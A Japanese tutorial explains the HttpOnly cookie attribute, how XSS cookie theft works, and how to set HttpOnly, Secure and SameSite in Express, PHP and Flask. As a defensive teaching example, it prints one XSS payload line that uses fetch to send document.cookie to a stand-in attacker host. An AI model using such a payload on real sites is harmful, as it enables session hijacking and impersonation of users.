はじめに
Webアプリケーションのセキュリティを考えるうえで、Cookieの扱いは非常に重要です。
その中でも「HttpOnly 属性」は、XSS(クロスサイトスクリプティング)攻撃によるCookieの盗難を防ぐための基本的かつ強力な防御手段です。
本記事では、HttpOnly の仕組み・役割・設定方法をわかりやすく整理します。
1. CookieとHTTPの性質
HTTPは ステートレス(無状態) なプロトコルです。
そのため、ログイン状態やユーザー情報を維持するために、サーバーは「Session ID」などCookie としてブラウザに保存します。
しかし――
このCookieがJavaScriptから読み取れる場合、攻撃者にとっては格好のターゲットになります。
2. 脅威:XSSによるCookie盗難
たとえば以下のような悪意あるスクリプトがページに注入されたとします。
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
このコードが実行されると、ユーザーのCookie(Session IDを含む)が攻撃者に送信されてしまいます。
→ 攻撃者はそのSession IDを使い、ユーザーになりすますことが可能になります。
3. HttpOnly属性の仕組み
このリスクを防ぐのが HttpOnly 属性です。
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
効果
- JavaScript(document.cookie)からアクセスできない
- ブラウザはHTTP通信のみにCookieを利用
- XSS攻撃でCookieを盗まれても無効化
つまり、
「Cookieはサーバーだけが扱える領域」として守られる、という仕組みです。
4. 挙動イメージ(図解)
5. 設定方法(例)
Node.js(Express)
res.cookie('sessionid', 'abc123', {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 30 * 60 * 1000
});
PHP
setcookie('sessionid', 'abc123', [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
Python(Flask)
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/login')
def login():
resp = make_response("ログイン成功!")
resp.set_cookie(
'sessionid',
'abc123',
httponly=True, # JSアクセス禁止
secure=True, # HTTPS通信のみ
samesite='Strict',
max_age=1800 # 30分
)
return resp
@app.route('/profile')
def profile():
sid = request.cookies.get('sessionid')
return f"あなたのセッションIDは {sid} です"
6. HttpOnly以外にも重要なCookie属性
| 属性名 | 役割 |
|---|---|
Secure |
HTTPS通信時のみCookie送信 |
SameSite |
クロスサイトリクエスト時の送信制御(CSRF対策) |
Expires / Max-Age |
有効期限を設定 |
Domain / Path |
Cookieを適用する範囲を制限 |
7. よくある誤解
- ❌ 「HttpOnlyをつければXSS自体が防げる」
→ ✖️ それは誤り。HttpOnlyは XSSによる被害の一部(Cookie盗難) を防ぐだけ。 - ✅ 根本対策は「入力値のエスケープ・サニタイズ」との併用が必要。
まとめ
| 項目 | 説明 |
|---|---|
| 目的 | Cookieの不正読み取り防止 |
| 主な攻撃対策 | XSSによるセッションハイジャック |
| 設定方法 |
Set-Cookieヘッダー or 各言語のCookie設定API |
| 併用推奨 |
Secure + SameSite + HttpOnly の3点セット |
「HttpOnly」は小さな属性ですが、セッションハイジャックを防ぐ大きな盾です。
セッションCookieには、必ずHttpOnlyをつけよう。